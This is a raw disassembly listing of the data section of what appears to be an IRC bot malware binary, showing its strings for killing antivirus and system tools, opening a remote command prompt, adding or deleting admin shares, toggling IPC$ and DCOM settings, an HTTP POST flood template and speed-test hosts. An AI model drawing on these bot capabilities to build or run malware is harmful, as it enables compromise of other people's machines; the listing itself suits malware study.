					; DATA XREF: sub_419593+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_439D54	db  2Dh	; -		; DATA XREF: sub_419593+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
		dd 7530h
off_439D80	dd offset aRegedit_exe	; DATA XREF: sub_4196BC+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_439E88
		dd offset dword_439E7C
		dd offset dword_439E70
		dd offset dword_439E64
		dd offset dword_439E58
		dd offset dword_439E4C
		dd offset dword_439E3C
		dd offset dword_439E30
		dd offset dword_439E24
		dd offset dword_439E18
		dd offset dword_439E0C
		dd offset dword_439DFC
		dd offset dword_439DF0
		dd offset dword_439DE0
dword_439DE0	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_4196BC+ECo
					; ___:00439DDCo
dword_439DF0	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439DD8o
dword_439DFC	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:00439DD4o
dword_439E0C	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:00439DD0o
dword_439E18	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:00439DCCo
dword_439E24	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439DC8o
dword_439E30	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439DC4o
dword_439E3C	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:00439DC0o
dword_439E4C	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:00439DBCo
dword_439E58	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:00439DB8o
dword_439E64	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:00439DB4o
dword_439E70	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:00439DB0o
dword_439E7C	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:00439DACo
dword_439E88	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:00439DA8o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:00439DA4o
		align 4
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00439DA0o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:00439D9Co
		align 10h
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:00439D98o
		align 10h
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:00439D94o
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:00439D90o
		align 4
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:00439D8Co
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:00439D88o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:00439D84o
		align 10h
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_439D80o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4196BC+191o
		align 4
unk_439F38	db  2Dh	; -		; DATA XREF: sub_4198EB:loc_419972o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_439F5C	db  2Dh	; -		; DATA XREF: sub_4198EB+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 10h
unk_439F80	db  2Dh	; -		; DATA XREF: sub_4198EB+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o
unk_439FB0	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419C41o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_439FE0	db  2Dh	; -		; DATA XREF: sub_419B0F+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_43A008	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419BF5o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_43A038	db  2Dh	; -		; DATA XREF: sub_419C64+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_43A06C	db  2Dh	; -		; DATA XREF: sub_419C64+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 10h
off_43A090	dd offset dword_43A0C8	; DATA XREF: sub_419E79+1B3o
					; sub_41A19D+17Ao
		align 8
		dd offset dword_43A0C0
		align 10h
off_43A0A0	dd offset dword_43A0BC	; DATA XREF: sub_41A19D+1E3o
		dd offset dword_43A0B8
		dd offset dword_43A0B4
		dd offset dword_43A0B0
dword_43A0B0	dd 5C3A44h		; DATA XREF: sub_419E79+217o
					; ___:0043A0ACo
dword_43A0B4	dd 2444h		; DATA XREF: ___:0043A0A8o
dword_43A0B8	dd 5C3A43h		; DATA XREF: ___:0043A0A4o
dword_43A0BC	dd 2443h		; DATA XREF: ___:off_43A0A0o
dword_43A0C0	dd 494D4441h, 244Eh	; DATA XREF: ___:0043A098o
dword_43A0C8	dd 24435049h, 0		; DATA XREF: ___:off_43A090o
dword_43A0D0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2E5o
					; sub_41A19D+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_43A100	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 4
dword_43A128	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A0DBo
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_43A154	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 4
dword_43A178	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A048o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_43A1A4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 4
dword_43A1C8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FABo
					; sub_41A19D:loc_41A2CBo
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_43A1F8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FA4o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_43A234	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419F86o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 4
dword_43A268	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo
					; sub_41A19D+EDo
		align 4
dword_43A2B8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+91o
					; sub_41A19D+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_43A2E8	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_419E79:loc_419EE6o
		dd 62617369h, 2E64656Ch, 0
dword_43A308	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_419E79+54o
					; sub_41A19D+54o
		align 4
dword_43A338	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_0		db '%c:\',0             ; DATA XREF: sub_41A19D+230o
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_41A19D+219o
dword_43A368	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A33Co
					; sub_41A19D:loc_41A40Do
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A390	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+198o
					; sub_41A19D+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_43A3B0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2C4o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_43A3EC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2A6o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_43A424	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_43A464	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A19D:loc_41A20Ao
		dd 6C62616Eh, 2E6465h
dword_43A480	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_43A4D8	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41A6AE+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41A6AE+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41A6AE+B6o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41A6AE+AFo
		align 4
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o
		align 10h
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41A6AE+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41A6AE+8Co
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41A6AE+85o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41A6AE+7Eo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41A6AE+77o
		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41A6AE+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41A6AE+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41A6AE+5Bo
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41A6AE+4Do
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41A6AE+46o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41A6AE+3Fo
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41A6AE+38o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41A6AE+31o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41A6AE+2Ao
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41A6AE+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41A6AE+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41A6AE+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41A88B+52o
dword_43A6F0	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AA42+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43A7CC	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AA42+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o
		align 10h
aSS_1		db '%s (%s)',0          ; DATA XREF: sub_41AA42+EBo
dword_43A7F8	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41ACF6+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43A83C	dd offset word_412F4E	; DATA XREF: sub_41ACF6:loc_41AD62o
off_43A840	dd offset dword_4E414C	; DATA XREF: sub_41ACF6:loc_41AD58o
dword_43A844	dd 6C616944h, 70752Dh	; DATA XREF: sub_41ACF6+5Bo
dword_43A84C	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41ACF6+48o
unk_43A85C	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF6Eo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43A88C	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF67o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_43A8B8	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41ADB5+1A0o
		dd 4C525520h, 2Eh
unk_43A8D4	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF48o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 10h
dword_43A910	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41ADB5+18Co
		dd 64657469h, 2Eh
dword_43A92C	dd 2A2F2Ah		; DATA XREF: sub_41ADB5+3Bo
dword_43A930	dd 5FF0C395h		; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
		align 10h
dword_43A940	dd 173Fh		; DATA XREF: sub_41C679+Dr
		dd 9875h, 9873h
off_43A94C	dd offset sub_41C748	; DATA XREF: ___:0041B784r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43A958	dd 1B3Fh		; DATA XREF: sub_41C7BF+Dr
dword_43A95C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41CC41+2o
					; sub_41CC4A+2o
off_43A970	dd offset sub_41B7C2	; DATA XREF: sub_41DA29+1Cr
dword_43A974	dd 2			; DATA XREF: sub_423590+Er
					; sub_4235C9+46r ...
		dd 10h,	0
off_43A980	dd offset off_43A980	; DATA XREF: sub_41E976+Do
					; sub_41E976+69o ...
off_43A984	dd offset off_43A980	; DATA XREF: sub_41E976:loc_41E9F6r
					; sub_41E976+89w ...
		dd offset dword_43A998
		dd offset dword_43A998
dword_43A990	dd 0FFFFFFFFh		; DATA XREF: sub_41E976r
					; sub_41EABA:loc_41EB07w
		dd 0FFFFFFFFh
dword_43A998	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043A988o
					; ___:0043A98Co
off_43C9A0	dd offset off_43A980	; DATA XREF: sub_41EABA+15r
					; sub_41EABA+20w ...
dword_43C9A4	dd 1E0h			; DATA XREF: sub_41B202+185r
					; sub_41B513:loc_41B54Fr ...
off_43C9A8	dd offset word_43C9B2	; DATA XREF: sub_41B6EE+23r
					; sub_41B6EE:loc_41B74Fr ...
off_43C9AC	dd offset word_43C9B2	; DATA XREF: sub_426BC1+18r
		db 2 dup(0)
word_43C9B2	dw 20h			; DATA XREF: sub_424D47+18r
					; ___:off_43C9A8o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43CBB4	dd 1			; DATA XREF: sub_41B6EE:loc_41B6F6r
					; sub_41B6EE:loc_41B73Ar ...
byte_43CBB8	db 2Eh			; DATA XREF: sub_420510:loc_420804r
					; sub_420510+311r ...
		align 4
		dd 1
off_43CBC0	dd offset aNull_0	; DATA XREF: sub_41F69F:loc_41FA03r
					; sub_41F69F+457r
					; "(null)"
off_43CBC4	dd offset aNull		; DATA XREF: sub_41F69F+259r
					; "(null)"
byte_43CBC8	db 1			; DATA XREF: sub_41FEA9+E1r
		db 2, 4, 8
		align 10h
dword_43CBD0	dd 3A4h			; DATA XREF: sub_41FEA9+2Fo
dword_43CBD4	dd 82798260h, 21h, 0	; DATA XREF: sub_41FEA9+11Dr
dword_43CBE0	dd 0DFA6h		; DATA XREF: sub_41FEA9+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43CCC0	dd 1			; DATA XREF: sub_41FEA9+3Co
					; sub_4203DF+Co
dword_43CCC4	dd 16h			; DATA XREF: sub_4203DF:loc_420414r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43CE28	dd 0D2D0920h, 5Dh	; DATA XREF: sub_4203DF+19o
					; sub_420510:loc_420A77o
dword_43CE30	dd 5Dh,	0		; DATA XREF: sub_420510:loc_420967o
dword_43CE38	dd 14h			; DATA XREF: sub_421624+2o
off_43CE3C	dd offset aExp		; DATA XREF: sub_421624:loc_421641r
					; "exp"
		dd 1Dh,	427878h, 1Ah, 42C92Ch, 1Bh, 427870h, 1Fh, 427868h
		dd 13h,	427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h
		dd 0Fh,	427840h, 10h, 427838h, 5, 427830h, 1Eh,	42782Ch
		dd 12h,	427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h
		dd 15h,	42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h
		dd 18h,	4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h
		dd 23h,	4277D4h, 24h, 4277D0h
dbl_43CF10	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+B7r
					; sub_42135F:loc_421446r ...
		dd 0
		dd 0FFF80000h
dbl_43CF20	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+92r
					; sub_42135F:loc_42141Er ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43CF38	dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
					; sub_42180C+1Fr
		align 4
tbyte_43CF44	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
		align 10h
off_43CF50	dd offset sub_421CA0	; DATA XREF: sub_41C760+Fw
					; sub_41F69F+3AAr
off_43CF54	dd offset sub_421935	; DATA XREF: sub_41C760+5w
					; sub_41F69F+3E2r
off_43CF58	dd offset sub_42199B	; DATA XREF: sub_41C760+14w
					; sub_420510+430r
off_43CF5C	dd offset sub_4218DB	; DATA XREF: sub_41C760+1Ew
					; sub_41F69F+3CBr
off_43CF60	dd offset sub_421983	; DATA XREF: sub_41C760+28w
off_43CF64	dd offset sub_421CA0	; DATA XREF: sub_41C760+32w
		dd offset sub_42470C
		align 10h
		dd offset sub_42255C
off_43CF74	dd offset sub_42255C	; DATA XREF: sub_4225B2+29r
dword_43CF78	dd 0C0000005h		; DATA XREF: sub_422E2F+Ar
					; sub_422E2F+11o ...
dword_43CF7C	dd 0Bh			; DATA XREF: sub_425A82+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43CFF0	dd 3			; DATA XREF: ___:00422D46r
					; sub_425955+C8r
dword_43CFF4	dd 7			; DATA XREF: ___:00422D4Cr
					; sub_425955+CDr
dword_43CFF8	dd 0Ah			; DATA XREF: sub_422E2F+4r
					; sub_425A82+4r
dword_43CFFC	dd 8Ch			; DATA XREF: ___:00422D70r
					; ___:00422D7Dw ...
dword_43D000	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F043:loc_41F0C4o
					; sub_41F58A:loc_41F647o
dword_43D008	dd 2			; DATA XREF: sub_4235C9+Eo
					; sub_4235C9+28r
off_43D00C	dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
					; sub_4235C9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B94h, 9, 427B68h, 0Ah,	427B44h, 10h, 427B18h
		dd 11h,	427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h
		dd 19h,	427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h
		dd 78h,	427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 433EDCh
		dd 0FFh, 427960h
off_43D098	dd offset dword_4DBC60	; DATA XREF: sub_4235C9+1Bo
					; sub_423936+55o
		align 10h
		dd offset dword_4DBC60
		dd 101h
dword_43D0A8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423936+72o
		dd 1000h, 0
dword_43D0B8	dd 3 dup(0)		; DATA XREF: sub_41F58A+50o
					; sub_420446+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D0D8	dd 3 dup(0)		; DATA XREF: sub_41F58A+58o
					; sub_420446:loc_420464o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D108	dd 84h dup(0)		; DATA XREF: sub_423936+9Bo
dword_43D318	dd 2 dup(0)		; DATA XREF: sub_423936+69o
dword_43D320	dd 2694h		; DATA XREF: sub_420FC1+3r
					; sub_421014+46r
		align 8
dword_43D328	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_4244ECo
dword_43D340	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43D358	dd 7080h		; DATA XREF: sub_422669+76r
					; sub_4247EC+5Ew ...
dword_43D35C	dd 1			; DATA XREF: sub_422669+98r
					; sub_4247EC+8Bw ...
dword_43D360	dd 0FFFFF1F0h		; DATA XREF: sub_422669:loc_42271Br
					; sub_4247EC+94w ...
off_43D364	dd offset dword_545350	; DATA XREF: ___:off_43D3E4o
		dd 0Fh dup(0)
off_43D3A4	dd offset aS_1		; DATA XREF: ___:off_43D3E8o
					; "\"!"
		dd 0Fh dup(0)
off_43D3E4	dd offset off_43D364	; DATA XREF: sub_4247EC+BAr
					; sub_4247EC+D9r ...
off_43D3E8	dd offset off_43D3A4	; DATA XREF: sub_4247EC+F4r
					; sub_4247EC+11Br ...
		align 10h
dword_43D3F0	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+1Dw
					; sub_424A4A+1Er ...
dword_43D3F4	dd 0			; DATA XREF: sub_424A4A:loc_424B7Er
					; sub_424BF6+BFw
dword_43D3F8	dd 0			; DATA XREF: sub_424A4A+192r
					; sub_424BF6+E0w
		align 10h
dword_43D400	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+17w
					; sub_424A4A+26r ...
dword_43D404	dd 0			; DATA XREF: sub_424A4A+13Ar
					; sub_424BF6+EAw ...
dword_43D408	dd 0			; DATA XREF: sub_424A4A+1A1r
					; sub_424BF6+23r ...
dword_43D40C	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43D43C	dd 16Dh			; DATA XREF: sub_422669+2Ar
					; sub_424BF6+2Er ...
dword_43D440	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6:loc_424C82r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43D478	dd 2 dup(0)		; DATA XREF: sub_425DDA+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
